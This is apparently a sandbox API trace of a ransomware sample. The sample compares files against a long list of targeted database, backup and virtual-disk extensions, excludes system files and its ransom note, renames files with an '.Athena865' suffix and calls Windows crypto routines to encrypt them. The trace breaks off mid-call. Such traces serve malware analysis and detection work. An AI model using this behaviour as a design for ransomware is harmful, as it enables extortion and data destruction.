[0052.255] lstrcmpiW (lpString1="i.lnk", lpString2="accdb") returned 1 [0052.255] lstrlenW (lpString="accdc") returned 5 [0052.255] lstrcmpiW (lpString1="i.lnk", lpString2="accdc") returned 1 [0052.255] lstrlenW (lpString="accde") returned 5 [0052.255] lstrcmpiW (lpString1="i.lnk", lpString2="accde") returned 1 [0052.255] lstrlenW (lpString="accdr") returned 5 [0052.255] lstrcmpiW (lpString1="i.lnk", lpString2="accdr") returned 1 [0052.255] lstrlenW (lpString="accdt") returned 5 [0052.255] lstrcmpiW (lpString1="i.lnk", lpString2="accdt") returned 1 [0052.255] lstrlenW (lpString="accdw") returned 5 [0052.255] lstrcmpiW (lpString1="i.lnk", lpString2="accdw") returned 1 [0052.255] lstrlenW (lpString="accft") returned 5 [0052.255] lstrcmpiW (lpString1="i.lnk", lpString2="accft") returned 1 [0052.255] lstrlenW (lpString="adb") returned 3 [0052.255] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.255] lstrlenW (lpString="adb") returned 3 [0052.255] lstrcmpiW (lpString1="lnk", lpString2="adb") returned 1 [0052.255] lstrlenW (lpString="ade") returned 3 [0052.255] lstrcmpiW (lpString1="lnk", lpString2="ade") returned 1 [0052.255] lstrlenW (lpString="adf") returned 3 [0052.255] lstrcmpiW (lpString1="lnk", lpString2="adf") returned 1 [0052.255] lstrlenW (lpString="adn") returned 3 [0052.255] lstrcmpiW (lpString1="lnk", lpString2="adn") returned 1 [0052.255] lstrlenW (lpString="adp") returned 3 [0052.255] lstrcmpiW (lpString1="lnk", lpString2="adp") returned 1 [0052.255] lstrlenW (lpString="alf") returned 3 [0052.256] lstrcmpiW (lpString1="lnk", lpString2="alf") returned 1 [0052.256] lstrlenW (lpString="ask") returned 3 [0052.256] lstrcmpiW (lpString1="lnk", lpString2="ask") returned 1 [0052.256] lstrlenW (lpString="btr") returned 3 [0052.256] lstrcmpiW (lpString1="lnk", lpString2="btr") returned 1 [0052.256] lstrlenW (lpString="cat") returned 3 [0052.256] lstrcmpiW (lpString1="lnk", lpString2="cat") returned 1 [0052.256] lstrlenW (lpString="cdb") returned 3 [0052.256] lstrcmpiW (lpString1="lnk", lpString2="cdb") returned 1 [0052.256] lstrlenW (lpString="ckp") returned 3 [0052.256] lstrcmpiW (lpString1="lnk", lpString2="ckp") returned 1 [0052.256] lstrlenW (lpString="cma") returned 3 [0052.256] lstrcmpiW (lpString1="lnk", lpString2="cma") returned 1 [0052.256] lstrlenW (lpString="cpd") returned 3 [0052.256] lstrcmpiW (lpString1="lnk", lpString2="cpd") returned 1 [0052.256] lstrlenW (lpString="dacpac") returned 6 [0052.256] lstrcmpiW (lpString1="Ti.lnk", lpString2="dacpac") returned 1 [0052.256] lstrlenW (lpString="dad") returned 3 [0052.256] lstrcmpiW (lpString1="lnk", lpString2="dad") returned 1 [0052.256] lstrlenW (lpString="dadiagrams") returned 10 [0052.256] lstrcmpiW (lpString1="n11zTi.lnk", lpString2="dadiagrams") returned 1 [0052.256] lstrlenW (lpString="daschema") returned 8 [0052.256] lstrcmpiW (lpString1="1zTi.lnk", lpString2="daschema") returned -1 [0052.256] lstrlenW (lpString="db-journal") returned 10 [0052.256] lstrcmpiW (lpString1="n11zTi.lnk", lpString2="db-journal") returned 1 [0052.256] lstrlenW (lpString="db-shm") returned 6 [0052.256] lstrcmpiW (lpString1="Ti.lnk", lpString2="db-shm") returned 1 [0052.256] lstrlenW (lpString="db-wal") returned 6 [0052.256] lstrcmpiW (lpString1="Ti.lnk", lpString2="db-wal") returned 1 [0052.256] lstrlenW (lpString="dbc") returned 3 [0052.256] lstrcmpiW (lpString1="lnk", lpString2="dbc") returned 1 [0052.256] lstrlenW (lpString="dbs") returned 3 [0052.256] lstrcmpiW (lpString1="lnk", lpString2="dbs") returned 1 [0052.256] lstrlenW (lpString="dbt") returned 3 [0052.256] lstrcmpiW (lpString1="lnk", lpString2="dbt") returned 1 [0052.256] lstrlenW (lpString="dbv") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="dbv") returned 1 [0052.257] lstrlenW (lpString="dbx") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="dbx") returned 1 [0052.257] lstrlenW (lpString="dcb") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="dcb") returned 1 [0052.257] lstrlenW (lpString="dct") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="dct") returned 1 [0052.257] lstrlenW (lpString="dcx") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="dcx") returned 1 [0052.257] lstrlenW (lpString="ddl") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="ddl") returned 1 [0052.257] lstrlenW (lpString="dlis") returned 4 [0052.257] lstrcmpiW (lpString1=".lnk", lpString2="dlis") returned -1 [0052.257] lstrlenW (lpString="dp1") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="dp1") returned 1 [0052.257] lstrlenW (lpString="dqy") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="dqy") returned 1 [0052.257] lstrlenW (lpString="dsk") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="dsk") returned 1 [0052.257] lstrlenW (lpString="dsn") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="dsn") returned 1 [0052.257] lstrlenW (lpString="dtsx") returned 4 [0052.257] lstrcmpiW (lpString1=".lnk", lpString2="dtsx") returned -1 [0052.257] lstrlenW (lpString="dxl") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="dxl") returned 1 [0052.257] lstrlenW (lpString="eco") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="eco") returned 1 [0052.257] lstrlenW (lpString="ecx") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="ecx") returned 1 [0052.257] lstrlenW (lpString="edb") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="edb") returned 1 [0052.257] lstrlenW (lpString="epim") returned 4 [0052.257] lstrcmpiW (lpString1=".lnk", lpString2="epim") returned -1 [0052.257] lstrlenW (lpString="fcd") returned 3 [0052.257] lstrcmpiW (lpString1="lnk", lpString2="fcd") returned 1 [0052.258] lstrlenW (lpString="fdb") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="fdb") returned 1 [0052.258] lstrlenW (lpString="fic") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="fic") returned 1 [0052.258] lstrlenW (lpString="flexolibrary") returned 12 [0052.258] lstrcmpiW (lpString1="J4n11zTi.lnk", lpString2="flexolibrary") returned 1 [0052.258] lstrlenW (lpString="fm5") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="fm5") returned 1 [0052.258] lstrlenW (lpString="fmp") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="fmp") returned 1 [0052.258] lstrlenW (lpString="fmp12") returned 5 [0052.258] lstrcmpiW (lpString1="i.lnk", lpString2="fmp12") returned 1 [0052.258] lstrlenW (lpString="fmpsl") returned 5 [0052.258] lstrcmpiW (lpString1="i.lnk", lpString2="fmpsl") returned 1 [0052.258] lstrlenW (lpString="fol") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="fol") returned 1 [0052.258] lstrlenW (lpString="fp3") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="fp3") returned 1 [0052.258] lstrlenW (lpString="fp4") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="fp4") returned 1 [0052.258] lstrlenW (lpString="fp5") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="fp5") returned 1 [0052.258] lstrlenW (lpString="fp7") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="fp7") returned 1 [0052.258] lstrlenW (lpString="fpt") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="fpt") returned 1 [0052.258] lstrlenW (lpString="frm") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="frm") returned 1 [0052.258] lstrlenW (lpString="gdb") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.258] lstrlenW (lpString="gdb") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="gdb") returned 1 [0052.258] lstrlenW (lpString="grdb") returned 4 [0052.258] lstrcmpiW (lpString1=".lnk", lpString2="grdb") returned -1 [0052.258] lstrlenW (lpString="gwi") returned 3 [0052.258] lstrcmpiW (lpString1="lnk", lpString2="gwi") returned 1 [0052.259] lstrlenW (lpString="hdb") returned 3 [0052.259] lstrcmpiW (lpString1="lnk", lpString2="hdb") returned 1 [0052.259] lstrlenW (lpString="his") returned 3 [0052.259] lstrcmpiW (lpString1="lnk", lpString2="his") returned 1 [0052.259] lstrlenW (lpString="ib") returned 2 [0052.259] lstrcmpiW (lpString1="nk", lpString2="ib") returned 1 [0052.259] lstrlenW (lpString="idb") returned 3 [0052.259] lstrcmpiW (lpString1="lnk", lpString2="idb") returned 1 [0052.259] lstrlenW (lpString="ihx") returned 3 [0052.259] lstrcmpiW (lpString1="lnk", lpString2="ihx") returned 1 [0052.259] lstrlenW (lpString="itdb") returned 4 [0052.259] lstrcmpiW (lpString1=".lnk", lpString2="itdb") returned -1 [0052.259] lstrlenW (lpString="itw") returned 3 [0052.259] lstrcmpiW (lpString1="lnk", lpString2="itw") returned 1 [0052.259] lstrlenW (lpString="jet") returned 3 [0052.259] lstrcmpiW (lpString1="lnk", lpString2="jet") returned 1 [0052.259] lstrlenW (lpString="jtx") returned 3 [0052.259] lstrcmpiW (lpString1="lnk", lpString2="jtx") returned 1 [0052.259] lstrlenW (lpString="kdb") returned 3 [0052.259] lstrcmpiW (lpString1="lnk", lpString2="kdb") returned 1 [0052.259] lstrlenW (lpString="kexi") returned 4 [0052.259] lstrcmpiW (lpString1=".lnk", lpString2="kexi") returned -1 [0052.259] lstrlenW (lpString="kexic") returned 5 [0052.259] lstrcmpiW (lpString1="i.lnk", lpString2="kexic") returned -1 [0052.259] lstrlenW (lpString="kexis") returned 5 [0052.259] lstrcmpiW (lpString1="i.lnk", lpString2="kexis") returned -1 [0052.259] lstrlenW (lpString="lgc") returned 3 [0052.259] lstrcmpiW (lpString1="lnk", lpString2="lgc") returned 1 [0052.259] lstrlenW (lpString="lwx") returned 3 [0052.259] lstrcmpiW (lpString1="lnk", lpString2="lwx") returned -1 [0052.259] lstrlenW (lpString="maf") returned 3 [0052.259] lstrcmpiW (lpString1="lnk", lpString2="maf") returned -1 [0052.259] lstrlenW (lpString="maq") returned 3 [0052.259] lstrcmpiW (lpString1="lnk", lpString2="maq") returned -1 [0052.259] lstrlenW (lpString="mar") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="mar") returned -1 [0052.260] lstrlenW (lpString="marshal") returned 7 [0052.260] lstrcmpiW (lpString1="zTi.lnk", lpString2="marshal") returned 1 [0052.260] lstrlenW (lpString="mas") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="mas") returned -1 [0052.260] lstrlenW (lpString="mav") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="mav") returned -1 [0052.260] lstrlenW (lpString="maw") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="maw") returned -1 [0052.260] lstrlenW (lpString="mdbhtml") returned 7 [0052.260] lstrcmpiW (lpString1="zTi.lnk", lpString2="mdbhtml") returned 1 [0052.260] lstrlenW (lpString="mdn") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="mdn") returned -1 [0052.260] lstrlenW (lpString="mdt") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="mdt") returned -1 [0052.260] lstrlenW (lpString="mfd") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="mfd") returned -1 [0052.260] lstrlenW (lpString="mpd") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="mpd") returned -1 [0052.260] lstrlenW (lpString="mrg") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="mrg") returned -1 [0052.260] lstrlenW (lpString="mud") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="mud") returned -1 [0052.260] lstrlenW (lpString="mwb") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="mwb") returned -1 [0052.260] lstrlenW (lpString="myd") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="myd") returned -1 [0052.260] lstrlenW (lpString="ndf") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="ndf") returned -1 [0052.260] lstrlenW (lpString="nnt") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="nnt") returned -1 [0052.260] lstrlenW (lpString="nrmlib") returned 6 [0052.260] lstrcmpiW (lpString1="Ti.lnk", lpString2="nrmlib") returned 1 [0052.260] lstrlenW (lpString="ns2") returned 3 [0052.260] lstrcmpiW (lpString1="lnk", lpString2="ns2") returned -1 [0052.261] lstrlenW (lpString="ns3") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="ns3") returned -1 [0052.261] lstrlenW (lpString="ns4") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="ns4") returned -1 [0052.261] lstrlenW (lpString="nsf") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="nsf") returned -1 [0052.261] lstrlenW (lpString="nv") returned 2 [0052.261] lstrcmpiW (lpString1="nk", lpString2="nv") returned -1 [0052.261] lstrlenW (lpString="nv2") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="nv2") returned -1 [0052.261] lstrlenW (lpString="nwdb") returned 4 [0052.261] lstrcmpiW (lpString1=".lnk", lpString2="nwdb") returned -1 [0052.261] lstrlenW (lpString="nyf") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="nyf") returned -1 [0052.261] lstrlenW (lpString="odb") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.261] lstrlenW (lpString="odb") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="odb") returned -1 [0052.261] lstrlenW (lpString="oqy") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="oqy") returned -1 [0052.261] lstrlenW (lpString="ora") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="ora") returned -1 [0052.261] lstrlenW (lpString="orx") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="orx") returned -1 [0052.261] lstrlenW (lpString="owc") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="owc") returned -1 [0052.261] lstrlenW (lpString="p96") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="p96") returned -1 [0052.261] lstrlenW (lpString="p97") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="p97") returned -1 [0052.261] lstrlenW (lpString="pan") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="pan") returned -1 [0052.261] lstrlenW (lpString="pdb") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="pdb") returned -1 [0052.261] lstrlenW (lpString="pdm") returned 3 [0052.261] lstrcmpiW (lpString1="lnk", lpString2="pdm") returned -1 [0052.262] lstrlenW (lpString="pnz") returned 3 [0052.262] lstrcmpiW (lpString1="lnk", lpString2="pnz") returned -1 [0052.262] lstrlenW (lpString="qry") returned 3 [0052.262] lstrcmpiW (lpString1="lnk", lpString2="qry") returned -1 [0052.262] lstrlenW (lpString="qvd") returned 3 [0052.262] lstrcmpiW (lpString1="lnk", lpString2="qvd") returned -1 [0052.262] lstrlenW (lpString="rbf") returned 3 [0052.262] lstrcmpiW (lpString1="lnk", lpString2="rbf") returned -1 [0052.262] lstrlenW (lpString="rctd") returned 4 [0052.262] lstrcmpiW (lpString1=".lnk", lpString2="rctd") returned -1 [0052.262] lstrlenW (lpString="rod") returned 3 [0052.262] lstrcmpiW (lpString1="lnk", lpString2="rod") returned -1 [0052.262] lstrlenW (lpString="rodx") returned 4 [0052.262] lstrcmpiW (lpString1=".lnk", lpString2="rodx") returned -1 [0052.262] lstrlenW (lpString="rpd") returned 3 [0052.262] lstrcmpiW (lpString1="lnk", lpString2="rpd") returned -1 [0052.263] lstrlenW (lpString="rsd") returned 3 [0052.264] lstrcmpiW (lpString1="lnk", lpString2="rsd") returned -1 [0052.264] lstrlenW (lpString="sas7bdat") returned 8 [0052.265] lstrcmpiW (lpString1="1zTi.lnk", lpString2="sas7bdat") returned -1 [0052.265] lstrlenW (lpString="sbf") returned 3 [0052.266] lstrcmpiW (lpString1="lnk", lpString2="sbf") returned -1 [0052.266] lstrlenW (lpString="scx") returned 3 [0052.267] lstrcmpiW (lpString1="lnk", lpString2="scx") returned -1 [0052.267] lstrlenW (lpString="sdb") returned 3 [0052.267] lstrcmpiW (lpString1="lnk", lpString2="sdb") returned -1 [0052.267] lstrlenW (lpString="sdc") returned 3 [0052.267] lstrcmpiW (lpString1="lnk", lpString2="sdc") returned -1 [0052.267] lstrlenW (lpString="sdf") returned 3 [0052.267] lstrcmpiW (lpString1="lnk", lpString2="sdf") returned -1 [0052.267] lstrlenW (lpString="sis") returned 3 [0052.267] lstrcmpiW (lpString1="lnk", lpString2="sis") returned -1 [0052.267] lstrlenW (lpString="spq") returned 3 [0052.267] lstrcmpiW (lpString1="lnk", lpString2="spq") returned -1 [0052.267] lstrlenW (lpString="te") returned 2 [0052.267] lstrcmpiW (lpString1="nk", lpString2="te") returned -1 [0052.267] lstrlenW (lpString="teacher") returned 7 [0052.267] lstrcmpiW (lpString1="zTi.lnk", lpString2="teacher") returned 1 [0052.267] lstrlenW (lpString="tmd") returned 3 [0052.267] lstrcmpiW (lpString1="lnk", lpString2="tmd") returned -1 [0052.267] lstrlenW (lpString="tps") returned 3 [0052.267] lstrcmpiW (lpString1="lnk", lpString2="tps") returned -1 [0052.267] lstrlenW (lpString="trc") returned 3 [0052.267] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.267] lstrlenW (lpString="trc") returned 3 [0052.267] lstrcmpiW (lpString1="lnk", lpString2="trc") returned -1 [0052.267] lstrlenW (lpString="trm") returned 3 [0052.267] lstrcmpiW (lpString1="lnk", lpString2="trm") returned -1 [0052.267] lstrlenW (lpString="udb") returned 3 [0052.268] lstrcmpiW (lpString1="lnk", lpString2="udb") returned -1 [0052.268] lstrlenW (lpString="udl") returned 3 [0052.268] lstrcmpiW (lpString1="lnk", lpString2="udl") returned -1 [0052.268] lstrlenW (lpString="usr") returned 3 [0052.268] lstrcmpiW (lpString1="lnk", lpString2="usr") returned -1 [0052.268] lstrlenW (lpString="v12") returned 3 [0052.268] lstrcmpiW (lpString1="lnk", lpString2="v12") returned -1 [0052.268] lstrlenW (lpString="vis") returned 3 [0052.268] lstrcmpiW (lpString1="lnk", lpString2="vis") returned -1 [0052.268] lstrlenW (lpString="vpd") returned 3 [0052.268] lstrcmpiW (lpString1="lnk", lpString2="vpd") returned -1 [0052.268] lstrlenW (lpString="vvv") returned 3 [0052.268] lstrcmpiW (lpString1="lnk", lpString2="vvv") returned -1 [0052.268] lstrlenW (lpString="wdb") returned 3 [0052.268] lstrcmpiW (lpString1="lnk", lpString2="wdb") returned -1 [0052.268] lstrlenW (lpString="wmdb") returned 4 [0052.268] lstrcmpiW (lpString1=".lnk", lpString2="wmdb") returned -1 [0052.268] lstrlenW (lpString="wrk") returned 3 [0052.268] lstrcmpiW (lpString1="lnk", lpString2="wrk") returned -1 [0052.268] lstrlenW (lpString="xdb") returned 3 [0052.268] lstrcmpiW (lpString1="lnk", lpString2="xdb") returned -1 [0052.268] lstrlenW (lpString="xld") returned 3 [0052.268] lstrcmpiW (lpString1="lnk", lpString2="xld") returned -1 [0052.268] lstrlenW (lpString="xmlff") returned 5 [0052.268] lstrcmpiW (lpString1="i.lnk", lpString2="xmlff") returned -1 [0052.268] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\B6lAo1oUZJ4n11zTi.lnk.Athena865") returned 85 [0052.268] MoveFileExW (lpExistingFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\B6lAo1oUZJ4n11zTi.lnk" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\b6lao1ouzj4n11zti.lnk"), lpNewFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\B6lAo1oUZJ4n11zTi.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\b6lao1ouzj4n11zti.lnk.athena865"), dwFlags=0x1) returned 1 [0052.269] CreateFileW (lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\Recent\\B6lAo1oUZJ4n11zTi.lnk.Athena865" (normalized: "c:\\documents and settings\\5p5nrgjn0js halpmcxz\\recent\\b6lao1ouzj4n11zti.lnk.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x154 [0052.269] GetFileSizeEx (in: hFile=0x154, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=3787) returned 1 [0052.270] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519448) returned 1 [0052.270] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0052.271] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.271] CreateFileMappingW (hFile=0x154, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x11d0, lpName=0x0) returned 0x17c [0052.271] MapViewOfFile (hFileMappingObject=0x17c, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x11d0) returned 0x100000 [0052.274] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519448) returned 1 [0052.274] CryptGenRandom (in: hProv=0x519448, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0052.274] CryptReleaseContext (hProv=0x519448, dwFlags=0x0) returned 1 [0052.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52d660 | out: hHeap=0x4f0000) returned 1 [0052.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x52ab00 | out: hHeap=0x4f0000) returned 1 [0052.275] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0052.279] FindNextFileW (in: hFindFile=0x529410, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0597500, ftCreationTime.dwHighDateTime=0x1d575b6, ftLastAccessTime.dwLowDateTime=0xb0597500, ftLastAccessTime.dwHighDateTime=0x1d575b6, ftLastWriteTime.dwLowDateTime=0xb0597500, ftLastWriteTime.dwHighDateTime=0x1d575b6, nFileSizeHigh=0x0, nFileSizeLow=0xa9a, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="bDM-N-Hfz63KpsbyDOQ.lnk", cAlternateFileName="BDM-N-~1.LNK")) returned 1 [0052.279] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2="HOW TO BACK YOUR FILES.exe") returned -1 [0052.279] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2="CUsersGustavoDesktopAthena865.exe") returned -1 [0052.279] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2=".") returned 1 [0052.279] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2="..") returned 1 [0052.279] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2="windows") returned -1 [0052.279] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2="bootmgr") returned -1 [0052.279] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2="temp") returned -1 [0052.279] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2="pagefile.sys") returned -1 [0052.279] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2="boot") returned -1 [0052.279] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2="ids.txt") returned -1 [0052.279] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2="ntuser.dat") returned -1 [0052.279] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2="perflogs") returned -1 [0052.279] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2="MSBuild") returned -1 [0052.279] lstrlenW (lpString="bDM-N-Hfz63KpsbyDOQ.lnk") returned 23 [0052.279] lstrcpyW (in: lpString1=0x241e8b4, lpString2="bDM-N-Hfz63KpsbyDOQ.lnk" | out: lpString1="bDM-N-Hfz63KpsbyDOQ.lnk") returned="bDM-N-Hfz63KpsbyDOQ.lnk" [0052.280] lstrlenW (lpString="bDM-N-Hfz63KpsbyDOQ.lnk") returned 23 [0052.280] lstrlenW (lpString="Athena865") returned 9 [0052.280] lstrcmpiW (lpString1="byDOQ.lnk", lpString2="Athena865") returned 1 [0052.280] lstrlenW (lpString=".dll") returned 4 [0052.280] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2=".dll") returned 1 [0052.280] lstrlenW (lpString=".lnk") returned 4 [0052.280] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2=".lnk") returned 1 [0052.280] lstrlenW (lpString=".ini") returned 4 [0052.280] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2=".ini") returned 1 [0052.280] lstrlenW (lpString=".sys") returned 4 [0052.280] lstrcmpiW (lpString1="bDM-N-Hfz63KpsbyDOQ.lnk", lpString2=".sys") returned 1 [0052.280] lstrlenW (lpString="bDM-N-Hfz63KpsbyDOQ.lnk") returned 23 [0052.280] lstrlenW (lpString="bak") returned 3 [0052.280] lstrcmpiW (lpString1="lnk", lpString2="bak") returned 1 [0052.280] lstrlenW (lpString="ba_") returned 3 [0052.280] lstrcmpiW (lpString1="lnk", lpString2="ba_") returned 1 [0052.280] lstrlenW (lpString="dbb") returned 3 [0052.280] lstrcmpiW (lpString1="lnk", lpString2="dbb") returned 1 [0052.280] lstrlenW (lpString="vmdk") returned 4 [0052.280] lstrcmpiW (lpString1=".lnk", lpString2="vmdk") returned -1 [0052.280] lstrlenW (lpString="rar") returned 3 [0052.280] lstrcmpiW (lpString1="lnk", lpString2="rar") returned -1 [0052.280] lstrlenW (lpString="zip") returned 3 [0052.280] lstrcmpiW (lpString1="lnk", lpString2="zip") returned -1 [0052.280] lstrlenW (lpString="tgz") returned 3 [0052.280] lstrcmpiW (lpString1="lnk", lpString2="tgz") returned -1 [0052.280] lstrlenW (lpString="vbox") returned 4 [0052.280] lstrcmpiW (lpString1=".lnk", lpString2="vbox") returned -1 [0052.280] lstrlenW (lpString="vdi") returned 3 [0052.280] lstrcmpiW (lpString1="lnk", lpString2="vdi") returned -1 [0052.280] lstrlenW (lpString="vhd") returned 3 [0052.280] lstrcmpiW (lpString1="lnk", lpString2="vhd") returned -1 [0052.280] lstrlenW (lpString="vhdx") returned 4 [0052.280] lstrcmpiW (lpString1=".lnk", lpString2="vhdx") returned -1 [0052.281] lstrlenW (lpString="avhd") returned 4 [0052.281] lstrcmpiW (lpString1=".lnk", lpString2="avhd") returned -1 [0052.281] lstrlenW (lpString="db") returned 2 [0052.281] lstrcmpiW (lpString1="nk", lpString2="db") returned 1 [0052.281] lstrlenW (lpString="db2") returned 3 [0052.281] lstrcmpiW (lpString1="lnk", lpString2="db2") returned 1 [0052.281] lstrlenW (lpString="db3") returned 3 [0052.281] lstrcmpiW (lpString1="lnk", lpString2="db3") returned 1 [0052.281] lstrlenW (lpString="dbf") returned 3 [0052.281] lstrcmpiW (lpString1="lnk", lpString2="dbf") returned 1 [0052.281] lstrlenW (lpString="mdf") returned 3 [0052.281] lstrcmpiW (lpString1="lnk", lpString2="mdf") returned -1 [0052.281] lstrlenW (lpString="mdb") returned 3 [0052.281] lstrcmpiW (lpString1="lnk", lpString2="mdb") returned -1 [0052.281] lstrlenW (lpString="sql") returned 3 [0052.281] lstrcmpiW (lpString1="lnk", lpString2="sql") returned -1 [0052.281] lstrlenW (lpString="sqlite") returned 6 [0052.281] lstrcmpiW (lpString1="OQ.lnk", lpString2="sqlite") returned -1 [0052.281] lstrlenW (lpString="sqlite3") returned 7 [0052.281] lstrcmpiW (lpString1="DOQ.lnk", lpString2="sqlite3") returned -1 [0052.281] lstrlenW (lpString="sqlitedb") returned 8 [0052.281] lstrcmpiW (lpString1="yDOQ.lnk", lpString2="sqlitedb") returned 1 [0052.281] lstrlenW (lpString="xml") returned 3 [0052.281] lstrcmpiW (lpString1="lnk", lpString2="xml") returned -1 [0052.281] lstrlenW (lpString="$er") returned 3 [0052.281] lstrcmpiW (lpString1="lnk", lpString2="$er") returned 1 [0052.281] lstrlenW (lpString="4dd") returned 3 [0052.281] lstrcmpiW (lpString1="lnk", 